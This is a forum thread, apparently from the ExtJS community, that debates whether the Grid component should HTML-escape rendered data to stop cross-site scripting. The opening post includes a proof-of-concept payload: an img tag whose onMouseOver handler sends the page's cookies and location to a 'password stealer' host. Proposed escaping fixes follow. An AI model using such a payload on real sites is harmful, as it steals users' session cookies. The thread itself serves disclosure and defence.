[Security] XSS attacks for Extjs Applications - critical warning

[Alan Knowles]

While I've not examined Lists yet, Grid is highly susceptible to XSS attacks. Due to it's lack of escaping of data rendered into the page. String.format(), which 'on the face of it looks like it might solve it' does nothing to reduce this problem.

Here a proof of concept.
-> there is a user comment form on a website. which comments can be posted:
-> data is assumed to be just raw text, and is stored in the database 'As is'.
-> Back end application uses ExtJs to render list of new comments using JSON to just send the data (escaped correctly for JSON) to the Grid.

Grid renders the data WITHOUT escaping it. - This should not be the default behaviour.
eg. posted data contains:
<img src="about:blank" width=10 height=10
onMouseOver="this.src=http://myfavourate.password.stealer/site=document.location
+passwords=document.cookies">

This application layout is correct, as ExtJS is the presentation layer and all the the other steps should not be munging the data.

Suggested Changes:

String.format=  function(format) {
    var args = Array.prototype.slice.call(arguments, 1);
    return format.replace(/\{(\d+)\}/g, function(m, i){
       
        var e = document.createTextNode( args[i]  );
        var ew = document.createElement('a');
        ew.appendChild(e);
        return ew.innerHTML;
    });
}

Ext.grid.ColumnModel.defaultRenderer = function(value){
	if(typeof value == "string" && value.length < 1){
	    return " ";
	}
    return String.format('{0}',value);
        
};

[mystix]

http://www.sencha.com/forum/showthread.php?t=8887

though it's a good suggestion, it doesn't constitute a bug.
this is more of an enhancement request.

[moving this to the Prerelease forum]

[jack.slocum]

It's not the view layer's job to do data security cleanup. In fact, doing so there could have a huge negative impact on performance of your application. That should be on an entirely different layer. I would recommend that when you do validation of data entered, you also do clean up to remove any insecure content.

[Hani]

I agree with you Alan. Here's a thread about the same issue: http://extjs.com/forum/showthread.php?t=7782

The reason its a valid XSS attack is that this isnt a matter of the user submitting something and the server then dealing with it and not cleaning it up; the code never gets to the server because users are able to execute arbitrary js in the context of the page.

Ext guys, why dont we flip the argument around, can anyone think of a single valid usecase for NOT escaping this content? Why would a user ever want to specify markup in an input field? (sure, I can think of contrived cases, but nothing that actually happens in real life!)

[JeffHowden]

The reason its a valid XSS attack is that this isnt a matter of the user submitting something and the server then dealing with it and not cleaning it up; the code never gets to the server because users are able to execute arbitrary js in the context of the page.

Executing arbitrary JS in the context of your page view, does not constitute an XSS attach that should be of concern. Further, your backend system should be built such that incoming data is scrubbed, cleansed, validated, etc. The presentation layer, or more specifically a presentation layer that's open for adjustments by the end user (via something like Firebug), cannot and should not be relied upon to offer protection against XSS as that protection can be easily compromised.

Ext guys, why dont we flip the argument around, can anyone think of a single valid usecase for NOT escaping this content? Why would a user ever want to specify markup in an input field? (sure, I can think of contrived cases, but nothing that actually happens in real life!)

In my experience, markup has lots of valid usecases in fields. In fact, in a CMS, it's almost a requirement to support markup in nearly every input field that accepts non-datetime/non-numeric data.

[72]

Jeff thats logical and explains a lot.

[Hani]

In my experience, markup has lots of valid usecases in fields. In fact, in a CMS, it's almost a requirement to support markup in nearly every input field that accepts non-datetime/non-numeric data.

Err, the only sane usecase for this would be in textareas, a textfield that allows markup would be pretty stupid and bad design imho, since all you'd be able to do is have one liners.

Likewise for a grid edit, I still maintain that it makes no sense whatsoever to allow inline markup by the user in such a form (and this is for a CMS too).

[JeffHowden]

Err, the only sane usecase for this would be in textareas, a textfield that allows markup would be pretty stupid and bad design imho, since all you'd be able to do is have one liners.

The only sane usecase is textareas? Whether you agree with me or not, my point that markup in fields (regardless of type), is still valid.

Likewise for a grid edit, I still maintain that it makes no sense whatsoever to allow inline markup by the user in such a form (and this is for a CMS too).

Again, we're going to agree to disagree. I don't feel anywhere near as passionate about disallowing markup in a grid and can think of plenty of cases where it would be helpful for a client, should they choose to use it.

You skirted my strongest point though and that's the [in]security of having the client-side framework even bother with protecting against markup in fields. Did you choose to not respond to that because you think it's invalid or because you don't have a rebuttal to it?

[Hani]

You skirted my strongest point though and that's the [in]security of having the client-side framework even bother with protecting against markup in fields. Did you choose to not respond to that because you think it's invalid or because you don't have a rebuttal to it?

I'm not ignoring it, because this argument to me seems to imply that XSS attacks dont exist, which is not something I'm willing to debate (because this isnt the forum for it). While on one level I do agree with you, the world at large doesnt, and has decided that XSS constitutes a security hole, and merits security advisories (and I've received a few, so I know!)

The issue isnt whether scrubbing is done server side or not, its that there's no trivial way of making sure that this cleanup is done both server and client side.

As you said though, we can agree to disagree, and I can but hope that enough users run into this that it merits reconsideration.

[jack.slocum]

This discussion isn't even about XSS attacks. If a user on of your web app wants to exec JS, there is nothing you can do to stop them. They can open a FireBug console and exec any JS they want, they don't need a Grid component to be there in able to do it. XSS is when 1 user can input JS that can be executed on another users page. The proper way to prevent that (IMO) is to clean it up before it is stored in the DB, not every time it is displayed.

The point I was making is that there is no reason for a view layer component to be relied on for doing doing data cleanup anyway. That would not only be terrible for performance, but it is a bad design decision.

With that said, if you want to strip out HTML in the grid it takes about 3 lines of code:

grid.on('validateedit', function(e){
   e.value = Ext.util.Format.stripTags(e.value);
});